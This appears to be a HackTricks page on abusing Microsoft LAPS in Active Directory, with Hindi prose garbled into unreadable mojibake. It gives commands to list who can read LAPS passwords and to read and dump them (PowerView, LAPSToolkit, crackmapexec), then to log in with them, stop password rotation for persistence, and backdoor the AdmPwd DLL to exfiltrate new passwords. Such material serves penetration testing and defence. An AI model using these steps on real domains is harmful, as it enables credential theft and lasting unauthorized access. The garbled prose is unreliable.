hacktricks/windows-hardening/active-directory-methodology/laps.md

161 lines
13 KiB
Markdown

# LAPS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
Local Administrator Password Solution (LAPS) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб**, рдЬреЛ **рд╡рд┐рд╢рд┐рд╖реНрдЯ, рдпрд╛рджреГрдЪреНрдЫрд┐рдХ, рдФрд░ рдЕрдХреНрд╕рд░ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рдбреЛрдореЗрди рд╕реЗ рдЬреБрдбрд╝реЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реВрдЪрд┐рдпреЛрдВ (ACLs) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ **Kerberos рд╕рдВрд╕реНрдХрд░рдг 5** рдФрд░ **Advanced Encryption Standard (AES)** рдХреЗ рдЙрдкрдпреЛрдЧ рджреНрд╡рд╛рд░рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред
рдбреЛрдореЗрди рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ, LAPS рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рджреЛ рдирдП рдЧреБрдгреЛрдВ рдХреА рд╡реГрджреНрдзрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИ: **`ms-mcs-AdmPwd`** рдФрд░ **`ms-mcs-AdmPwdExpirationTime`**ред рдпреЗ рдЧреБрдг **рд╕рд╛рджрд╛-рдЯреЗрдХреНрд╕реНрдЯ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **рдЗрд╕рдХреЗ рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп** рдХреЛ рдХреНрд░рдорд╢рдГ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред
### Check if activated
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPS рдкрд╛рд╕рд╡рд░реНрдб рдПрдХреНрд╕реЗрд╕
рдЖрдк **рдХрдЪреНрдЪреА LAPS рдиреАрддрд┐** рдХреЛ `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` рд╕реЗ **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ **`Parse-PolFile`** рдХрд╛ рдЙрдкрдпреЛрдЧ [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) рдкреИрдХреЗрдЬ рд╕реЗ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдорд╛рдирд╡-рдкрдардиреАрдп рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рд╕реНрдерд╛рдиреАрдп LAPS PowerShell cmdlets** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╡реЗ рдХрд┐рд╕реА рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рд╣рдореЗрдВ рдкрд╣реБрдВрдЪ рд╣реИ:
```powershell
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдХреМрди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ**:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS рдХреА рдЧрдгрдирд╛ рдХреЛ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред\
рдПрдХ рд╣реИ **`ExtendedRights`** рдХреЛ **LAPS рд╕рдХреНрд╖рдо рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ** рдХреЗ рд▓рд┐рдП рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ред рдпрд╣ **рд╕рдореВрд╣реЛрдВ** рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП **рдкреНрд░рддрд┐рдирд┐рдзрд┐** рд╣реИрдВ, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрддреЗ рд╣реИрдВред\
рдПрдХ **рдЦрд╛рддрд╛** рдЬреЛ **рдХрдВрдкреНрдпреВрдЯрд░** рдХреЛ рдПрдХ рдбреЛрдореЗрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ `All Extended Rights` рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдЕрдзрд┐рдХрд╛рд░ **рдЦрд╛рддреЗ** рдХреЛ **рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ** рдХреА рдХреНрд╖рдорддрд╛ рджреЗрддрд╛ рд╣реИред рдЧрдгрдирд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХреЛ рджрд┐рдЦрд╛ рд╕рдХрддреА рд╣реИ рдЬреЛ рдПрдХ рд╣реЛрд╕реНрдЯ рдкрд░ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╣рдореЗрдВ **рд╡рд┐рд╢рд┐рд╖реНрдЯ AD рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Dumping LAPS Passwords With Crackmapexec**
рдпрджрд┐ рдкрд╛рд╡рд░рд╢реЗрд▓ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк LDAP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
рдпрд╣ рд╕рднреА рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдбрдВрдк рдХрд░реЗрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХреЛ рдПрдХ рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рдмреЗрд╣рддрд░ рд╕реНрдерд┐рддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓реЗрдЧреАред
## ** LAPS рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ **
```
xfreerdp /v:192.168.1.1:3389 /u:Administrator
Password: 2Z@Ae)7!{9#Cq
python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq
```
## **LAPS рд╕реНрдерд╛рдпреАрдХрд░рдг**
### **рд╕рдорд╛рдкреНрддрд┐ рддрд┐рдерд┐**
рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрди рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ **рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛** рдФрд░ рдПрдХ рдорд╢реАрди рдХреЛ рдЗрд╕рдХреЗ **рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдирд╛** рд╕рдВрднрд╡ рд╣реИ **рд╕рдорд╛рдкреНрддрд┐ рддрд┐рдерд┐ рдХреЛ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рд╕реЗрдЯ рдХрд░рдХреЗ**ред
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
рдпрджрд┐ рдХреЛрдИ **admin** **`Reset-AdmPwdPassword`** cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ; рдпрд╛ рдпрджрд┐ LAPS GPO рдореЗрдВ **Do not allow password expiration time longer than required by policy** рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдЕрднреА рднреА рд░реАрд╕реЗрдЯ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
{% endhint %}
### рдмреИрдХрдбреЛрд░
LAPS рдХрд╛ рдореВрд▓ рд╕реНрд░реЛрдд рдХреЛрдб [рдпрд╣рд╛рдВ](https://github.com/GreyCorbel/admpwd) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрдб рдореЗрдВ рдПрдХ рдмреИрдХрдбреЛрд░ рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Main/AdmPwd.PS/Main.cs` рдореЗрдВ `Get-AdmPwdPassword` рд╡рд┐рдзрд┐ рдХреЗ рдЕрдВрджрд░) рдЬреЛ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ **рдирдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдпрд╛ рдХрд╣реАрдВ рд╕реНрдЯреЛрд░** рдХрд░реЗрдЧрд╛ред
рдлрд┐рд░, рдмрд╕ рдирдП `AdmPwd.PS.dll` рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдорд╢реАрди рдореЗрдВ `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ (рдФрд░ рд╕рдВрд╢реЛрдзрди рд╕рдордп рдмрджрд▓реЗрдВ)ред
## рд╕рдВрджрд░реНрдн
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ</summary>
* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдУрдВ**](https://github.com/sponsors/carlospolop) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ!
* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**telegram рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **Twitter** ЁЯРж рдкрд░ рд╣рдореЗрдВ **рдлреЙрд▓реЛ** рдХрд░реЗрдВ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
</details>
{% endhint %}